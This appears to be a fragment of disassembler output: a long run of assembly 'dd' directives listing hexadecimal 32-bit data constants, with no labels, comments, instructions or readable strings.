		dd 7A2D1855h, 51668105h, 0F026E61Bh, 5F7CC020h,	407AE037h
		dd 2A05FC49h, 43E5B7ECh, 61490819h, 1C83EF02h, 20A52B1Fh
		dd 539A950h, 16AA22h, 351E7AAFh, 0CA2CF882h, 6A185998h
		dd 9FE095F1h, 0FD762896h, 0BF9E0B84h, 670CA687h, 6407C210h
		dd 85C9EBA3h, 46D93760h, 0E20B0357h, 0DE5ED6D3h, 6010489Bh
		dd 3C7C5C70h, 9618B271h, 4EE41041h, 0CA6BC1C0h,	0B49CC22h
		dd 91449BD8h, 0A819B500h, 9CA80993h, 47FAD75Ch,	9ED4AE03h
		dd 0A039ECCFh, 38D5954h, 0B52E491Bh, 9481BC6Fh,	5A868091h
		dd 0BF7E79CCh, 680860A2h, 282CB126h, 72528106h,	1C884212h
		dd 2A5D87h, 20AA808Ch, 3200FBC0h, 1AB07D98h, 0FA28EC6Ch
		dd 0F2BC0B7Eh, 0CF00509Eh, 9B232AAEh, 0E5C8240Ch, 0EA28C934h
		dd 806E00F0h, 0DA82F7BDh, 0C00CAC4h, 492718B4h,	3D1B298h
		dd 7E2A4583h, 0C88021B8h, 0AF185258h, 7C5019E6h, 2B4206E5h
		dd 0A031A27Ah, 0F4094400h, 1B568A86h, 0C1FC0133h, 0A0712D83h
		dd 3A0C207Ch, 31B74388h, 26480DEAh, 4C28241Bh, 35C5AF0Eh
		dd 0FA9600B5h, 2B1AB76h, 2C813E90h, 184AFB78h, 0D90604C0h
		dd 0AE93DCA0h, 0B360D360h, 266931h, 10478CBDh, 0A8C63F14h
		dd 0AC8D3C00h, 989F1874h, 75412893h, 0A7711EF7h, 894F00A9h
		dd 0A66CA8ABh, 541E85E8h, 45007487h, 1979988Eh,	8F9E3A7Bh
		dd 90893E00h, 5991994Ah, 0C66A3A00h, 72A45661h,	9B4C008Fh
		dd 6C4A7594h, 1C0276ABh, 0AD7A95A7h, 6438B874h,	0F19CF01Bh
		dd 181895D2h, 879A086Fh, 0B0C099F0h, 74AF966Ah,	0F1A14C70h
		dd 0A98D1B07h, 763E136Fh, 75995088h, 39633Ch, 8A56808Bh
		dd 61AD5A8Fh, 7B6DD17Ah, 9669E054h, 789839D0h, 83043D57h
		dd 75A7232Fh, 13270110h, 0C2B5AB81h, 0E064C14Bh, 320058CEh
		dd 0A2BEA9BBh, 60907645h, 0AD2830AEh, 0BD62CFABh, 619FB018h
		dd 29BCC389h, 3E53A700h, 50FC3433h, 3D71B1F8h, 0A92C5C50h
		dd 0AA3F73Ah, 0C3CB5FEh, 0ABBE0569h, 0EC230C71h, 4FF83083h
		dd 59629F34h, 20BF1FA0h, 0E099271Bh, 0AE6D40C3h, 46E806A7h
		dd 5947F7AAh, 1B54CAF4h, 0B0286D78h, 0E24358A4h, 510A10BFh
		dd 0B0BD8AEFh, 582DE277h, 5049471Dh, 0B2204A57h, 0A42CAD3Ah
		dd 2D83CCAEh, 3DA4BFFh,	6D09B828h, 26A13936h, 3D0C43DFh
		dd 925024F3h, 0B30034E4h, 45A3B4DBh, 53EE649h, 29E5C9C7h
		dd 0C60C07D3h, 90418499h, 0C463C0FCh, 0CE185900h, 4F6AE925h
		dd 0B9EC14A6h, 0A81E0C03h, 45B113B0h, 4C3114h, 7EF92C58h
		dd 64A7A92Fh, 0E6435D44h, 0ACEAC74Eh, 10BC8CA8h, 21B89017h
		dd 0C7A60C49h, 0C515BD80h, 0AF0B323h, 0F8333A53h, 0CAA83D60h
		dd 5CAD4C8Eh, 4824F521h, 31BF1F08h, 8F464F40h, 74F7D3C1h
		dd 0A342C88Ch, 99E50E4h, 0BB368913h, 42987C26h,	4B197BA3h
		dd 55916386h, 0FA2D6464h, 51B0613Ch, 4CC2A98Eh,	0E0DF5888h
		dd 6404A8D2h, 0A945BEFCh, 3C9423D7h, 8AA77C8Bh,	0EFDF04E0h
		dd 0B20C8CBCh, 6880148Ah, 0C20C99A7h, 8C815BCFh, 62A6F94Eh
		dd 53A4A804h, 76318832h, 41C6A7E0h, 1180F3F4h, 944843C5h
		dd 4993F4A0h, 0EC0960B0h, 281B34BBh, 0A380509Ch, 0C9946B4h
		dd 1C87FC12h, 9EECC960h, 0C7C20C9Fh, 0B8093E50h, 1978D803h
		dd 2814B2A8h, 0A0AACB80h, 0D4130C30h, 0E5A78CA0h, 47FE9C91h
		dd 86E8A80Dh, 3E3DB1C9h, 0C74042A0h, 4A92EDADh,	0F114499Ah
		dd 7462D84Dh, 6174261Ah, 952350BEh, 0E8E1EEE0h,	94B5BA7Dh
		dd 0DBA80D51h, 78D6E381h, 4C0411A9h, 0F23055ACh, 3495584Dh
		dd 0AA2C494Ch, 85F9D23h, 20DFE0C7h, 7A7830ECh, 45555610h
		dd 0F054101h, 806C5C3Eh, 0F27818A8h, 4BC680E5h,	0F20CCCA4h
		dd 18BB8F27h, 0E4AE7A6Fh, 0AA360D63h, 9A3153D7h, 449F870h
		dd 0FB453B9Ch, 703C274Bh, 3DE3E9B8h, 8EE8A28Dh,	7DB4083Ch
		dd 0A8F23E96h, 0EAE03CD8h, 8FEDB421h, 18B0C41Fh, 72800Dh
		dd 6941BAA2h, 3E6A658Fh, 0C0B7FFF1h, 6C386F79h,	0AD3164F8h
		dd 7A842971h, 0E07BDAF3h, 0E8A0EE24h, 39D52458h, 7E5D80ACh
		dd 8AC746E5h, 661EC448h, 213109h, 1FE5767Dh, 20309EE6h
		dd 63F4C000h, 0FCA66F2Eh, 2FDC3DE0h, 0A489AEBFh, 98607D0Fh
		dd 52E009ECh, 0FAF95700h, 0BBEBC92Fh, 9437092Bh, 8830260Bh
		dd 8898AF9Bh, 0CC3DB22h, 796E8674h, 0B524D6B0h,	402630A4h
		dd 3C478F12h, 6A04B332h, 41D59090h, 44A0BA76h, 0BD14894Bh
		dd 0F1203C58h, 5C18BD0Fh, 0FE02837Fh, 2638A890h, 0E64C68CAh
		dd 9DEC0E89h, 3AA37D4Fh, 8306547h, 618D21BEh, 0EA1F0FECh
		dd 68787AD2h, 0E780472Fh, 0A39730BBh, 0D72D89D8h, 0F8CB4B30h
		dd 6FAF0Ah, 40487F92h, 740691ABh, 0EA3A2E00h, 0E0836B35h
		dd 63DA3CCDh, 0D08C444Ah, 1228977Bh, 309BB7Fh, 12611600h
		dd 90CFDF19h, 2E92F7A4h, 876A283Dh, 0F5609C3Eh,	0C4CAC771h
		dd 267DBC60h, 8044A910h, 8A099D8Dh, 0EA0C9236h,	87A2EA4h
		dd 68E8A883h, 0DF090075h, 0B2BC92E2h, 0EF1B8CF7h, 6E93FEBh
		dd 33443150h, 0D5241036h, 0BD98203Ah, 80B62609h, 7B00473Dh
		dd 3BF03358h, 71CB3C45h, 9F18C02Eh, 62606E55h, 9049CA03h
		dd 0B05A6A2Dh, 78063361h, 25AE18A5h, 0F4DA49BAh, 3F94E200h
		dd 278D560Eh, 643100C3h, 78E47902h, 2E3A9CC8h, 0B40F996Eh
		dd 88838BE9h, 69CAD3A4h
		dd 0B52A6180h, 9F4DB704h, 848C6080h, 6731F86Dh,	3DB039A8h
		dd 60A5E0C9h, 1129D530h, 5CBE20h, 107CAF91h, 0D008E0C9h
		dd 9F333900h, 0D975A73Ch, 0BF470097h, 9CFC0DF8h, 60B8A5B0h
		dd 1431CC44h, 0A465AFECh, 231BD981h, 1411BA39h,	27A041B5h
		dd 0FD3898CBh, 11B2602Fh, 34D2C93h, 0EE501900h,	18349276h
		dd 2549232h, 0C147A931h, 0A8A33010h, 4900B30Fh,	1D1484A6h
		dd 9689CE2h, 0B0763787h, 0BF918017h, 0FDF8E880h, 46291DAFh
		dd 26079C11h, 3E9003A6h, 600F79C2h, 424519AFh, 6D006B44h
		dd 0CB4CF1D6h, 17118ABh, 1B80774Dh, 28877EFFh, 55C6131Ch
		dd 0E5A15860h, 0A2C72341h, 78033611h, 59E2E579h, 779FF0A7h
		dd 8090D950h, 33023100h, 0A527EA32h, 0C0911F44h, 0F2470038h
		dd 0D8C5ED0Bh, 783E5412h, 9708C67h, 8C6A365Fh, 36B8644h
		dd 0A9040970h, 0B0739B83h, 7EF5F0Eh, 0BB33C37Fh, 36280438h
		dd 0C2D0B3C3h, 84987E04h, 0CB00F64Fh, 5AAB414Ch, 1C9ECE5h
		dd 6DAAAE77h, 3033FE31h, 2F262D08h, 88A098DBh, 3C359911h
		dd 8C03C004h, 9000C07Fh, 3018B1EDh, 0E8382BEFh,	0CDBEA4Ah
		dd 0CAE732AFh, 31E0C941h, 0D2BFC31Ah, 34F80090h, 0DFBB1BABh
		dd 54F78010h, 0AA10C239h, 0E86174B4h, 11BD3BD6h, 0EA0B0EFAh
		dd 0AF607C2Bh, 3FCD594Dh, 10767714h, 2DA70370h,	0A80E5894h
		dd 71EF595Bh, 0AB4C0291h, 348A2EC7h, 0D747A8A0h, 31F184CFh
		dd 19B8064Ch, 0E4B23888h, 0B81E06FCh, 6A068E7Eh, 299A62Eh
		dd 0A3F942C8h, 7041522Fh, 0E7742527h, 3A732102h, 827C9BF9h
		dd 0A9CDBC4h, 0CB85CFF0h, 3388410Bh, 707F734Ch,	25002E7Ch
		dd 601680A4h, 740A4439h, 0E6EB0E6Fh, 0A0C5198Bh, 3B1882EEh
		dd 11EC5E30h, 88554F70h, 568880BCh, 870C02ECh, 0CBBB3618h
		dd 25998679h, 0E000D62Ah, 46D9319Bh, 0F28022EDh, 635B3037h
		dd 2F7C2002h, 870FECACh, 6E81E874h, 31E4BB56h, 0DF1B581Ch
		dd 75A4B23Fh, 29E13F58h, 0F8A50134h, 109059AAh,	2703E52h
		dd 4F77EC5Fh, 10E1316Dh, 0EC5787h, 0B241CC8h, 0A0DA0252h
		dd 205B6717h, 5E0FC50h,	0B1380360h, 54C0A8C4h, 581FDD1Dh
		dd 0B9B21CD6h, 0C744B020h, 0B4180004h, 0C2D05624h, 0A700DE48h
		dd 27C85201h, 29E3E2Eh,	427CB260h, 304487DDh, 0D4ACF5E9h
		dd 4F609B9Ch, 60125FB1h, 48DA73AEh, 0EEBDFC53h,	1A998833h
		dd 0AC8F246Eh, 0D45615CCh, 0B2E58086h, 0E0547A4Ch, 0E5787Fh
		dd 287B9555h, 0CD6001FEh, 0A06B5414h, 3BC00590h, 98408AF8h
		dd 2476DACh, 8BA20067h,	2DA643B9h, 6A00EDF1h, 4EB05676h
		dd 57DD45Fh, 455E84D7h,	86F481BFh, 348DC855h, 4883C339h
		dd 0A83A8870h, 0B8372040h, 0A6E9AC07h, 9042765Ch, 36CF8424h
		dd 99CF98C3h, 2C72CB2Fh, 42BC271Ch, 7E391E16h, 553F1C41h
		dd 882C8E8Ch, 30DAC784h, 0FFA03C14h, 22D4222Eh,	0DB317601h
		dd 882565D3h, 3061B002h, 4D7FE5A5h, 91C54221h, 7D841632h
		dd 7B8D0400h, 3FA32E50h, 0C0800F12h, 0DA07DB47h, 0CCB2A039h
		dd 0C17E0604h, 948810FEh, 0AAEE3E6Bh, 0E2CE792h, 0C94AF7A3h
		dd 0A59C0A80h, 0BDD700C6h, 5BC14576h, 185C1012h, 9780CD8h
		dd 301B43EFh, 2A55B000h, 76540557h, 0B70BFCCCh,	8F3B8237h
		dd 9D0880CCh, 0C69343C5h, 0C92CD631h, 624FCD00h, 0BFC26AEBh
		dd 66D90009h, 8D7E0C57h, 0A931271Bh, 3387081h, 8088B6EFh
		dd 59586E87h, 285078EBh, 16989B6Dh, 6A3CC245h, 0A044986Ch
		dd 0F9E668h, 0F68DAEF0h, 0C2E935Dh, 78958326h, 8A603744h
		dd 4F2E9CECh, 8C701075h, 8AEC3862h, 0CBAA7F0Fh,	80F028E0h
		dd 4A905567h, 1CEA6312h, 0EEA36C91h, 647AD502h,	0C060A64Ch
		dd 0E8D80B3Ch, 0AC870075h, 3E5ECE27h, 7EB8A088h, 32E3EC14h
		dd 0C1B00CA0h, 632F41D0h, 9C92D9B4h, 34D391D0h,	4431FF0Bh
		dd 7BCAFB3h, 0AFB24FFEh, 40D07942h, 3B8B683h, 0A85AC431h
		dd 957019A8h, 5E38C255h, 0FCFAA99Ah, 41B7633Dh,	836D68D4h
		dd 0D2C0AEFDh, 614BDF25h, 9A3D20DBh, 4F69CDA1h,	62071120h
		dd 9FF72D81h, 0F5C001E7h, 3027EEE0h, 0D5E0A940h, 0A5771A86h
		dd 0B6C82795h, 83A84CC0h, 77AEF048h, 0C6A10093h, 988D47B9h
		dd 90204A85h, 78148E9Bh, 0A25130ACh, 95A61C30h,	8D10817Ch
		dd 990F93AAh, 0A9605090h, 0D89B4979h, 92F6A879h, 3E197600h
		dd 895684D5h, 18DDD7h, 0A71879AEh, 193A7594h, 28806C9Fh
		dd 1D8AE891h, 31C8C9Dh,	891A74A7h, 8D51780Ch, 309A31ADh
		dd 1A591C83h, 0CA696A3h, 0D50054B1h, 0A99B5585h, 901D0A8Dh
		dd 2887495h, 0A4508F9Ah, 0C88168E6h, 3DABED03h,	27B422CCh
		dd 4809BBE8h, 0C09A8E4h, 42B1B34h, 0C8A26810h, 528D3302h
		dd 585A76AEh, 34C6DDE9h, 0EC937548h, 39BB3203h,	587CBEh
		dd 31EEADD8h, 0E87D2E01h, 606800B8h, 0C70F9EA1h, 184BAE0Fh
		dd 626D28B1h, 3981A83Eh, 85BE6801h, 0B710886Ch,	46D548A5h
		dd 38A91018h, 0E67D2D0Ch, 30843C68h, 7131B32Fh,	21F918D6h
		dd 0BA2C0228h, 92F7482h, 0AB0F10E8h, 0C84052F1h, 3AA1C02h
		dd 2CA16A47h, 19BC224Bh, 0D581E90Fh, 2612E869h,	305C46F2h
		dd 1B0A5935h, 0C88E83D7h, 0A0EC2509h, 0CCEBC958h, 0A058B086h
		dd 5F7128CCh, 4C470A2h,	7841D84Ch, 0E5281069h, 707E3186h
		dd 85FD2E30h, 18E2A5B9h, 0BECFC54h, 0EE137607h,	340D08D4h
		dd 0AE184B57h, 31C3ECF1h, 1031D85Bh, 14186CB9h,	144CD2ACh
		dd 5E58EC49h, 27F1E460h, 48E3416Bh, 3318F858h, 0D5314C44h
		dd 553892E0h, 54424C38h, 1BB13118h, 0D71C0905h,	48A423A2h
		dd 2B212BE4h, 0CC5AC488h, 0BC42EFB8h, 6C4424C8h, 88B4212Eh
		dd 50CCD197h, 6442842Ah, 4684FDB8h, 97A7A13Ch, 8F7210Ah
		dd 217EC6F4h, 142A797h,	6ACC2487h, 0A2AF0710h, 1AC41113h
		dd 28D44784h, 9C78A1D8h, 94F7841Ah, 28A1EB28h, 4B841A54h
		dd 482F6398h, 6C485C09h, 49472984h, 136090BDh, 890A80AAh
		dd 213FE630h, 261024C0h, 4F8C3E82h, 3402290h, 852F0F60h
		dd 5822BC56h, 9D66B3Bh,	0B2786C0Dh, 204620C8h, 2A9A0F40h
		dd 70C5E926h, 29104118h, 304CA65Fh, 4649CFB9h, 2D198D6Ah
		dd 3FD1AF4Bh, 0D62BB032h, 0EFB1813Ch, 82B3BA7Dh, 33F5D111h
		dd 24E844CBh, 62DCAF2Fh, 0E0F98F20h, 41099E84h,	49B468C8h
		dd 0A4A4FDh, 0D3F13138h, 4880C82Ch, 4F871689h, 8DAC0EA4h
		dd 198F9860h, 793AE69Bh, 7AA7001Bh, 809C641Ch, 0B3480149h
		dd 0ABA14E5Bh, 988BF0C8h, 8A8D9302h, 0E11987AEh, 0C33B907Fh
		dd 0A2A392DCh, 7A112861h, 86F08A50h, 1CB84Ah, 998B8D91h
		dd 0A85E4993h, 24B87F78h, 0A6197907h, 0D88976ABh, 90480450h
		dd 0E88F7BA7h, 41AE9E0h, 7571C1BAh, 0B4214A76h,	298C8FD4h
		dd 6218849Eh, 0B84A9D0Fh, 8D807CF1h, 2A712790h,	0CBAD0C06h
		dd 331896EFh, 51F93417h, 0EEA0B001h, 4C34A4AEh,	2BFF171Bh
		dd 683801D2h, 703ED8C5h, 6F4081BCh, 48A0012Dh, 0BB7D3B06h
		dd 0D2F0341Fh, 0ED0031E8h, 39A12D7Eh, 4A0AF61Eh, 6530C805h
		dd 95125502h, 0F93DE21Ah, 0A49825A8h, 0D7F0F73Ch, 0C6A740A0h
		dd 0D92D9030h, 0DEB04053h, 0F9AE1808h, 0C0C26306h, 0A0E8E131h
		dd 37907D7Ch, 53622324h, 5BEC04CFh, 123244E0h, 0B05A64C3h
		dd 380CA8D4h, 68C1F6A6h, 4B554077h, 0E1F8E965h,	402EAC8Ch
		dd 0F6F83282h, 9C40C068h, 5CC2F1Eh, 4A5E7877h, 0CBD4D1A9h
		dd 0E58C5C04h, 0ED829011h
		dd 91D81E6h, 4A5BE40h, 75493EE8h, 65058FD7h, 24B20FCEh
		dd 0D52FF900h, 5BC29EBFh, 32AE433Eh, 8FA489A5h,	40481948h
		dd 48284CFEh, 30AF6468h, 809A5938h, 0B47CD8h, 0C7F347D9h
		dd 0DB723FE5h, 0AE6A8B00h, 965E1C8Fh, 0A5500576h, 13528798h
		dd 0A078629Bh, 8B1B50C0h, 7C549458h, 7064E60Eh,	507B8069h
		dd 0ABAAB9Ah, 0C4D042B2h, 788B6044h, 0A00A2133h, 44E8917h
		dd 9F3814C1h, 0C0D9661h, 56570800h, 9FAE2299h, 1630A953h
		dd 78636A6Ch, 3139E2A6h, 9410942Dh, 81ABE8A0h, 180995E8h
		dd 82ACAD0h, 0A748E464h, 302BDC9Eh, 7421CC46h, 661187C0h
		dd 0D6812233h, 86764A4h, 0A33E7DC2h, 2665E870h,	0DF9C9810h
		dd 95E8CA05h, 8D73C461h, 78C9AE2h, 6D136C50h, 1828418Ah
		dd 982C5075h, 485BE043h, 44993B8Ch, 46124509h, 40484724h
		dd 42224191h, 892C4344h, 242E122Dh, 9F28482Fh, 45B00029h
		dd 3959786Eh, 647E6C18h, 0CAACA7C1h, 5984A5B8h,	0AC044B44h
		dd 0A008A951h, 0D1A6BC41h, 0F8533DF4h, 7C6D7CAEh, 0FC7EAB1h
		dd 0ED6604A7h, 953E40FDh, 433F26D1h, 4BE82EF0h,	33F036F8h
		dd 9B4081F1h, 0EDAAAEA7h, 5018E02h, 54FCCD66h, 4A77F03Fh
		dd 0FF486B88h, 0AAFF0443h, 1471A9C9h, 70C0609Fh, 76375475h
		dd 0A946888Ah, 825838A5h, 7690114Ah, 17B70358h,	22B67889h
		dd 1882B509h, 5DF50417h, 31D625C0h, 0B3010149h,	8AA9CD88h
		dd 1E1040BBh, 38A5AEE6h, 1FE5C58h, 0F9EDB609h, 0F0B22B49h
		dd 18C1A49Bh, 942C9F11h, 141AA7E8h, 1CB4332Ah, 0BE00343Eh
		dd 8D04B52Fh, 28A4A9C8h, 0E4A7AD5Eh, 8A7A4006h,	0D1954166h
		dd 0E5F601DCh, 0EC0ACA6Bh, 63000103h, 0EC1CFAE6h, 1F7B11BEh
		dd 0C00CBF3Fh, 27C63E1Dh, 510ABDBBh, 64D65924h,	59F02F1Ch
		dd 5C2592h, 31D86412h, 0E7B12D6Fh, 5AA98001h, 7B444F4Eh
		dd 43DCE02Ah, 8493E6FDh, 0AE802B83h, 8200D176h,	0D2E9277h
		dd 0E448562h, 0BE0B08BFh, 9C279340h, 920440C7h,	0E85B4F1Bh
		dd 562CC0AEh, 0F74AB334h, 3503F8ECh, 0CF26A7A5h, 2A006170h
		dd 0E3F9310Fh, 0E0A6C627h, 65AB7A93h, 3A730A5h,	962F3FF8h
		dd 0ACC29100h, 0E090A13Eh, 6519007Eh, 0DA13888Eh, 0FB0FEDA3h
		dd 4096CBDFh, 3C17570h,	88B260A4h, 36EAA627h, 2DADAA05h
		dd 8C20294Bh, 3F43CDE4h, 5E00D39Eh, 0B0800565h,	82003525h
		dd 7F1E834Dh, 345294Ah,	0DB518E7Ch, 0E6C19D68h,	0E24FF465h
		dd 649F490Eh, 11B498F7h, 51AD005Fh, 53A74E07h, 5E3E7AE2h
		dd 8C5B0724h, 807E2840h, 0A358DE3Eh, 54453A25h,	5AFB067Ch
		dd 40131D72h, 50084D1Fh, 65FE4901h, 40494780h, 3C1342F0h
		dd 61D7D63h, 0D952C3BCh, 36C5725Eh, 670A9830h, 1CE243A9h
		dd 0A85AFD60h, 34888350h, 723A65DCh, 60672942h,	2B8CBB94h
		dd 0A9780438h, 70E26042h, 68894843h, 490E4415h,	7C0DF18h
		dd 8467F5Fh, 81501C54h,	4377C51Eh, 5C2C6045h, 0C4A0518Ch
		dd 4A7C838Dh, 1B189A0Ah, 5EC03877h, 3A52919h, 64D92F9Ah
		dd 29A5457Ch, 38401C14h, 869A770Fh, 47AA012Ch, 18D05AD7h
		dd 0DBF8A8DCh, 7E763F48h, 1EAD94D2h, 3648BE04h,	436F2800h
		dd 497C272Ah, 9E452101h, 5308188Dh, 4CE240D0h, 2C093466h
		dd 0AE8C5Fh, 28294386h,	5021640Fh, 9800129Ah, 8E144771h
		dd 0E1193C32h, 183EA713h, 50225040h, 7925E0Fh, 20351378h
		dd 0DF9A6C0Fh, 0F906309h, 47125EECh, 4C897430h,	9094F987h
		dd 4426064h, 8047E1BFh,	2DB3020h, 31847264h, 90C9A24Bh
		dd 24B4363Eh, 9C8358A6h, 0B5DE42A2h, 9B1B5480h,	0D0484CAEh
		dd 19518D0Fh, 1045AB03h, 12444000h, 1484A34Ah, 407F0364h
		dd 41A95225h, 80C463A3h, 460BC18Ch, 0A766E11Dh,	248DE0Bh
		dd 604FE670h, 245024FCh, 7A0353Eh, 4F111DABh, 5EDD4103h
		dd 21DE4FE1h, 3F58BBACh, 9BE206A7h, 1C401C72h, 0BADC4E3Eh
		dd 87C84637h, 0A8628350h, 0A91D30F6h, 63BC0A84h, 0E043A7A1h
		dd 1C478C4Bh, 947F49E4h, 490981Bh, 0F84AADFAh, 0A34B3C74h
		dd 0C0D4252Eh, 0A2541686h, 60E4842Ch, 0F9856860h, 51A5025Ah
		dd 42735025h, 1893B84Eh, 0E14C9084h, 601EF082h,	7447A81Ch
		dd 34A90111h, 533E65E2h, 300BF30Eh, 0FA64FDCh, 428E077Ch
		dd 2845908Ch, 8D60A5DAh, 47407D04h, 0B253A370h,	0DB3116C4h
		dd 0DCB4145Ch, 2584E44Dh, 0DA0CD860h, 15F8B0B0h, 0E24018C5h
		dd 0A353A083h, 841C158h, 90C4C4E2h, 5A25311Ch, 65A95009h
		dd 48E45CC4h, 630850C5h, 0C66FC080h, 20405CA7h,	12479709h
		dd 69511086h, 1DDC413Eh, 5C39487Dh, 43A98520h, 3C202C2Dh
		dd 880C19Ch, 30427F50h,	58C07734h, 0DC543E4Ah, 418E2E66h
		dd 868C016Ch, 4DACC672h, 14502018h, 0AF38954Dh,	0AF041EF9h
		dd 68772C80h, 84B6FC19h, 0D3F024Fh, 7C9E1E60h, 73791821h
		dd 1F4FC864h, 96E23F43h, 0A3508F72h, 1CADF827h,	0A2502C12h
		dd 0AE660BD8h, 48A764A0h, 0A3555CE2h, 0D1F86C40h, 5840050h
		dd 185476Ch, 0B88C754Ah, 1C710B20h, 388267DEh, 447853E1h
		dd 1D135874h, 3CC865DCh, 47D4B451h, 1152B0BCh, 0DEFAA87Fh
		dd 46A94917h, 400BA01Eh, 1D8C8033h, 0B8AA59E6h,	0AE7A0790h
		dd 0C87E187Dh, 403E4901h, 218F62DDh, 703765Eh, 0DEE17D5Bh
		dd 25503D64h, 5EC8B0A3h, 5F150228h, 86F823A8h, 42E6E0E1h
		dd 34974280h, 0ECB03464h, 0E850BE40h, 0D91F5F34h, 90DC8D17h
		dd 65E5147Ch, 9B07F0A2h, 47FE149Fh, 0C0071743h,	6413848Ch
		dd 0A321A760h, 3A4A114Ch, 6328537Fh, 1D254EC8h,	0E0982D30h
		dd 809CFB64h, 10A93821h, 40AD037Eh, 237249E6h, 1D30E87Ch
		dd 352628D8h, 1432E882h, 0DCA94A07h, 1DA66406h,	520020D9h
		dd 458C500Dh, 27A74FD8h, 0B80BDB47h, 5245E0B9h,	808FF7C4h
		dd 4E7A8C95h, 0E6F86018h, 501BA862h, 14D86B25h,	0DC438D88h
		dd 0F7842874h, 65D880D0h, 9FAF0AAh, 1053A967h, 402800E1h
		dd 5F084580h, 396B6A0Ah, 1115B060h, 602530F0h, 0BE7BDC4Eh
		dd 281B66DCh, 5D254919h, 8014FE9h, 3158559Ch, 2DBA44DCh
		dd 7306060h, 0B4856A53h, 8E5A42D4h, 7D621840h, 4AF44553h
		dd 0F0F46464h, 0A2662711h, 0C07F3087h, 408C6236h, 0E85B1230h
		dd 0A07D5AF9h, 0BCA365F0h, 0C750FFB0h, 0A73D73C6h, 93E0FD04h
		dd 1D1C2DE8h, 4039DE70h, 221EF09Bh, 401D3D62h, 16066C8Bh
		dd 31C3A0h, 0F088F6A6h,	0CBEB0A4Dh, 8024533h, 852107DBh
		dd 80DE88EEh, 78296B9Ah, 9F4EF608h, 0FA7281CDh,	0F8428F79h
		dd 3B0080BBh, 4BED84C5h, 0C43A9Bh, 4C3E40FCh, 0CAB12C21h
		dd 8081453Fh, 41FA9D70h, 1B7E4BA1h, 51C043C4h, 0C55ECBC0h
		dd 544838C1h, 0C6003015h, 4600BED2h, 8DFA1339h,	0FA3B3DBFh
		dd 40EC0296h, 0CB1B3E87h, 4A20848Eh, 0CC53D8E4h, 74594400h
		dd 58BF94F4h, 9EEE0398h, 0B1DC72BCh, 30C02061h,	204FF717h
		dd 81F38711h, 0A2F072C4h, 57394000h, 8F90C760h,	2A063E91h
		dd 78C8C567h, 14790095h, 0B097331Fh, 91006E36h,	4C2A19D2h
		dd 7B44DE7Eh, 43E0C1E5h, 85B9969Bh, 0CE1CC7F8h,	82C5462h
		dd 0F86F1498h, 0F5DAA098h, 2E1170ADh, 0CA00EF71h, 0B900E452h
		dd 1392CC5Ah, 0FC1E0FF5h, 0C09F7FEFh, 7C98E759h, 72064115h
		dd 8248CB21h, 21AD6008h, 0B07C9109h, 1E986400h,	490A6793h
		dd 3EC94444h, 0D5505BEEh, 4030DF8Ch, 0C821B87Dh, 0C1657390h
		dd 3F1E7C1h, 0A3BE40F8h
		dd 0B664641h, 21D008h, 8003FA0Dh, 76AD085Eh, 0F0E77F04h
		dd 0B340D666h, 2904F9F8h, 0FF7CED00h, 890D57DEh, 780C0AEAh
		dd 0E0C86227h, 0FCFF83E3h, 4D2EAE01h, 0D151C336h, 0AF865AFCh
		dd 0F2A862C0h, 0BA8E0835h, 934C28C0h, 80E360C2h, 827B9D46h
		dd 6619641Ch, 9771CD58h, 2DB00CF4h, 4088A5F5h, 41ED5412h
		dd 0DE102018h, 424D2434h, 3346FE28h, 3F38BBB2h,	18E47F07h
		dd 293CEEFAh, 873A141Dh, 0EC338397h, 370BBEC2h,	213408h
		dd 4EE3871Ch, 6CB94F00h, 0EF15C508h, 2AC8884Ah,	7FEC6209h
		dd 0BF80D5FFh, 0CF2C0F6h, 253C401Dh, 0C497F830h, 0C71D3E87h
		dd 998068C9h, 6A41127Ch, 0CB4448Ch, 67C9200h, 0EB9CB5BAh
		dd 4527D44h, 0C3667F31h, 0D8DF04A8h, 3885DE09h,	788C04FAh
		dd 467144D0h, 12B158C1h, 0F7D8D110h, 4F909366h,	49E269h
		dd 0F9D50CBBh, 9B76B440h, 982DF528h, 19E85750h,	98502142h
		dd 0EE028C93h, 0F33EF503h, 10CF19A2h, 3F708h, 88FA041Ch
		dd 0B3FB6E4Bh, 0A02CAD0Ch, 0D981CBh, 0C18AA5ACh, 0DF618FCEh
		dd 5C183674h, 0EDD8F733h, 0D0B8AB47h, 50066Ah, 8C032253h
		dd 0CD2475B1h, 0C4632626h, 89DD6F08h, 3802C13Ah, 1B20DCFAh
		dd 0A18EDDEh, 9796063Fh, 43D1688h, 1037A904h, 46864884h
		dd 88A04284h, 209514DCh, 18D37EE1h, 0A95C103Eh,	0B34B0633h
		dd 0DC90B86Ah, 36C306D8h, 180910BDh, 0A1273941h, 0F257E550h
		dd 3EBAB6F4h, 0D9263192h, 70468F5Ch, 4C42F400h,	58C11553h
		dd 0CB9EC34Dh, 3DF53C10h, 6DF718C0h, 3349411Dh,	0F840E6EBh
		dd 3079B010h, 0AC46ED15h, 702ECE00h, 3C588C20h,	8DF21A03h
		dd 32754Ch, 7EBD8F28h, 193F6F17h, 0C756CC02h, 40DA985Ah
		dd 60EDF934h, 0BD94948h, 727C05B0h, 0D50082EAh,	0F0EFC5F4h
		dd 0C9CECF7h, 0D4E07A58h, 0B40C2738h, 0B9C88A9Ah, 0F0D2034h
		dd 4A186572h, 0D828BB36h, 74E34941h, 48975801h,	6160AAEDh
		dd 448C3071h, 49A0C540h, 1A0728C8h, 0B138F876h,	0F50F52DCh
		dd 4AA1CF9Ah, 836C482Fh, 94019800h, 0E01FFD77h,	73AD0076h
		dd 0B67BF548h, 58A4CD0Ah, 0C3499C1Eh, 1C4CCE50h, 738CD3E8h
		dd 9C7401DFh, 0B005E513h, 0FEB4205Eh, 7B92BD14h, 0D3BB00D8h
		dd 5A2EB52Bh, 0DB3E1E0Ch, 0EE81BD4Dh, 82DC9B84h, 574AC019h
		dd 67E1D3Dh, 0B92FE3BDh, 0E12D0030h, 3FDBFD50h,	6901F3D7h
		dd 0F02249CEh, 410756A1h, 828D5FBFh, 27FFD418h,	0C33F076Dh
		dd 31018853h, 0DBBBD1D5h, 5880AFEBh, 5744A6ADh,	16008B85h
		dd 5C7303B1h, 0B9A0A8h,	58EB0FE7h, 0C82EDBE5h, 0ACB7890Ch
		dd 5A31C4h, 0D279243Ch,	72DB76F0h, 8F14B43Fh, 0A01CF9C3h
		dd 33DC0A6Eh, 3F68C0ADh, 0E18B8711h, 57846A50h,	0ACD9BD60h
		dd 8FB014Ah, 855BEF41h,	74D79750h, 5A00858Bh, 408839C3h
		dd 1F070031h, 4B92B3Fh,	0FD052EF7h, 56B73E0Bh, 0D641B001h
